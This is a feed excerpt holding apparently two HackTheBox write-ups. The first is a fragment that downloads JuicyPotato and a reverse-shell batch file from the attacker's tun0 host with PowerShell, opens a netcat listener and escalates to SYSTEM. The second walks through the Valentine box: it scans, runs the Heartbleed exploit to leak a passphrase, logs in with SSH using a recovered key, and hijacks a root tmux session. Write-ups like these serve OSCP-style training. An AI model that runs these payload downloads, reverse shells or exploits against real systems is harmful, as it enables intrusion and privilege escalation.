&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz5zjudfiam2ytmwhavy9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz5zjudfiam2ytmwhavy9.PNG" alt="Alt Text" width="800" height="38"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now update the &lt;em&gt;Invoke-PowerShellTCP.ps1&lt;/em&gt; script to switch the port number to &lt;strong&gt;5555&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F49hijkyadzmgmsnk1gv5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F49hijkyadzmgmsnk1gv5.PNG" alt="Alt Text" width="618" height="64"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now on the box let's move the script over.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;(new-object net.webclient).downloadfile('&lt;a href="http://tun0/JuicyPotato.exe" rel="noopener noreferrer"&gt;http://tun0/JuicyPotato.exe&lt;/a&gt;', 'C:\users\merlin\appdata\local\temp\JuicyPotato.exe')&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;(new-object net.webclient).downloadfile('&lt;a href="http://tun0/shell.bat" rel="noopener noreferrer"&gt;http://tun0/shell.bat&lt;/a&gt;', 'C:\users\merlin\appdata\local\temp\shell.bat')&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkm7tm098d44zc20kiw8x.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkm7tm098d44zc20kiw8x.PNG" alt="Alt Text" width="800" height="68"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ls&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To confirm that this is sitting on the box.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvqy6zo1bwjhm1hucvaa5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvqy6zo1bwjhm1hucvaa5.PNG" alt="Alt Text" width="800" height="575"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also your Python WebServer should display the files moved.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy5dsfoy7a5kyntmjvhtg.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy5dsfoy7a5kyntmjvhtg.PNG" alt="Alt Text" width="800" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's fire up the &lt;em&gt;netcat listner&lt;/em&gt; again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 5555&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnv5z5bqyfy01rq332r0g.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnv5z5bqyfy01rq332r0g.PNG" alt="Alt Text" width="410" height="88"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now for the final steps let's run &lt;em&gt;JuicyPotato&lt;/em&gt; to see if we can upgrade our rights.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmc7v351z3foeccvqx39.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmc7v351z3foeccvqx39.PNG" alt="Alt Text" width="800" height="163"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now head back over to the listener.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3z107o5su71v66qx37zh.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3z107o5su71v66qx37zh.PNG" alt="Alt Text" width="800" height="185"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Boom looks like we are in!&lt;/p&gt;

&lt;p&gt;Let's grab the User/Root txt files. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0k7m879r2d9woak9c6vu.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0k7m879r2d9woak9c6vu.PNG" alt="Alt Text" width="790" height="515"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe6v599ovx1czdt4wcbpa.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe6v599ovx1czdt4wcbpa.PNG" alt="Alt Text" width="302" height="173"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>python</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Valentine - Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Mon, 23 Aug 2021 15:50:58 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-valentine-without-metasploit-oscp-prep-28dg</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-valentine-without-metasploit-oscp-prep-28dg</guid>
      <description>&lt;p&gt;Hello Again!&lt;/p&gt;

&lt;p&gt;Just did Valentine from &lt;strong&gt;HackTheBox&lt;/strong&gt; and wanted to provide a write up.&lt;/p&gt;

&lt;p&gt;Let's Begin!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -p- -T4 -p- -oN nmap.txt 10.10.10.79&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sC = Default Scripts&lt;/li&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;li&gt;-p- = Scan all 65535 ports&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwkspc8jktfyn9g3zjgq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwkspc8jktfyn9g3zjgq.PNG" alt="Alt Text" width="800" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Ports Open:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;22 TCP SSH OpenSSH 5.9p1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not a ton of things to go off here so let's re-run the nmap tool with a more aggressive scan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -A -oN Aggressive.txt 10.10.10.79&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwxqai17vsddkq0zxxn7g.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwxqai17vsddkq0zxxn7g.PNG" alt="Alt Text" width="800" height="669"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Ports Open:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;80 TCP Http Apache HttpD 2.2.22&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;443 TCP SSL/Http Appache 2.2.22&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Heading over to the site we get a interesting landing page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F65nyhgisibnqs21r9uhc.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F65nyhgisibnqs21r9uhc.PNG" alt="Alt Text" width="800" height="410"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we are going to run some Directory search's.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dirb &lt;a href="https://10.10.10.79" rel="noopener noreferrer"&gt;https://10.10.10.79&lt;/a&gt; -o dirb.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F84vobmoxq9d4it48ipo7.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F84vobmoxq9d4it48ipo7.PNG" alt="Alt Text" width="800" height="70"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Results:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvu4uzyp8aax5hnjc1r7v.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvu4uzyp8aax5hnjc1r7v.PNG" alt="Alt Text" width="761" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The one that sticks out is the &lt;strong&gt;/dev/&lt;/strong&gt; site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjluuyo4ykdaf1zuqk2iy.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjluuyo4ykdaf1zuqk2iy.PNG" alt="Alt Text" width="800" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This turns up 2 different files. One is a &lt;strong&gt;hype_key&lt;/strong&gt; and &lt;strong&gt;notes.txt&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Going to the &lt;strong&gt;notes.txt&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2umdc3j8rif417sbrpg9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2umdc3j8rif417sbrpg9.PNG" alt="Alt Text" width="800" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In here, there is a refence to fixing the decoder/encoder before going live.&lt;/p&gt;

&lt;p&gt;On the other Directories there is a Encoder and Decoder but I didn't see anything too interesting. &lt;/p&gt;

&lt;p&gt;We can see the Hex file when going to the &lt;strong&gt;hype_key&lt;/strong&gt; location.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F91apuvobf8dyzefz82ad.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F91apuvobf8dyzefz82ad.PNG" alt="Alt Text" width="800" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Instead of trying to use the Encoder and Decoder I am going to head over to Google to find a tool that will do the trick.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbk3tnsbhqwewrck1zd98.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbk3tnsbhqwewrck1zd98.PNG" alt="Alt Text" width="476" height="46"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then drop the Hex into the input.&lt;/p&gt;

&lt;p&gt;This looks like its a RSA Private Key.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0cskpm43sxei0i3pd90s.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0cskpm43sxei0i3pd90s.PNG" alt="Alt Text" width="800" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's save the key to your Kali Machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;echo "RSA Key Info..." &amp;gt; rsa.key&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4294t6wmiyfj739s79n0.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4294t6wmiyfj739s79n0.PNG" alt="Alt Text" width="758" height="670"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tried using the newly acquired creds to login via the &lt;strong&gt;SSH&lt;/strong&gt; option. &lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;-i&lt;/strong&gt; option Selects a file from which the identity (private key) for public key authentication is read. &lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ssh -i rsa.key &lt;a href="mailto:hype@10.10.10.79"&gt;hype@10.10.10.79&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I am making a guess that the user is hype based on the key information.&lt;/p&gt;

&lt;p&gt;This doesn't work though.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdmenvj0bwj6akqlkxgg1.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdmenvj0bwj6akqlkxgg1.PNG" alt="Alt Text" width="800" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going to try and run the &lt;strong&gt;Vuln&lt;/strong&gt; scan to see if I missed anything.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap --script vuln -oN vuln.txt 10.10.10.79&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7sm6mfyxb7ijnrtfs505.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7sm6mfyxb7ijnrtfs505.PNG" alt="Alt Text" width="800" height="171"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Scrolling down we see that there is a vulnerability for &lt;strong&gt;HeartBleed&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A quick Summary on &lt;strong&gt;HeartBleed&lt;/strong&gt; if you are not familiar.&lt;/p&gt;

&lt;p&gt;Heartbleed was a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed could be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It resulted from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension. Thus, the bug's name derived from heartbeat. The vulnerability was classified as a buffer over-read, a situation where more data can be read than should be allowed. Pulled from Wiki.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Searchsploit 32764.py&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now Copy this to your current directory.&lt;/p&gt;

&lt;p&gt;Now lets run the Exploit!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python 32764.py 10.10.10.79 &amp;gt; heartbleed.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You don't have to send this to a file but its a lot to look through if you don't.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lw6exys7u4vfea96xr6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lw6exys7u4vfea96xr6.PNG" alt="Alt Text" width="800" height="73"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So what I am about to do is very choppy but it worked for me. Yes there are other ways to display the output but at this point I was getting annoyed with the box lol.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;grep 'text' heartbleed.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now scroll up to the &lt;strong&gt;0130&lt;/strong&gt; line in the wall of text.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuzswprmqurr7ebjc20qj.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuzswprmqurr7ebjc20qj.PNG" alt="Alt Text" width="800" height="70"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's break this with &lt;strong&gt;base64&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;echo aGVh....= | base64 -d&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsgihjzlllnz5cx30f1os.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsgihjzlllnz5cx30f1os.PNG" alt="Alt Text" width="800" height="69"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;chmod 600 rsa.key&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ssh -i rsa.key &lt;a href="mailto:hype@10.10.10.79"&gt;hype@10.10.10.79&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Don't forget to use the &lt;strong&gt;heartbleedbelievethehype&lt;/strong&gt; password.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fczho7etxplbrzh3pfwf0.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fczho7etxplbrzh3pfwf0.PNG" alt="Alt Text" width="800" height="367"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwyjp4plgqquj93crs6jo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwyjp4plgqquj93crs6jo.PNG" alt="Alt Text" width="504" height="127"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I tried running the my normal &lt;strong&gt;Sudo&lt;/strong&gt; commands and it broke my shell. So let's dig around a bit.&lt;/p&gt;

&lt;p&gt;Going back to the &lt;strong&gt;Hype&lt;/strong&gt; directory I notice that &lt;strong&gt;tmux&lt;/strong&gt; is being run by root.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ps aux | grep tmux&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjyzinrn34mkuit994fug.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjyzinrn34mkuit994fug.PNG" alt="Alt Text" width="800" height="49"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;tmux -S /.devs/dev_sess&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj348668mlll1z3v1sbp8.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj348668mlll1z3v1sbp8.PNG" alt="Alt Text" width="800" height="52"&gt;&lt;/a&gt;&lt;/p&gt;

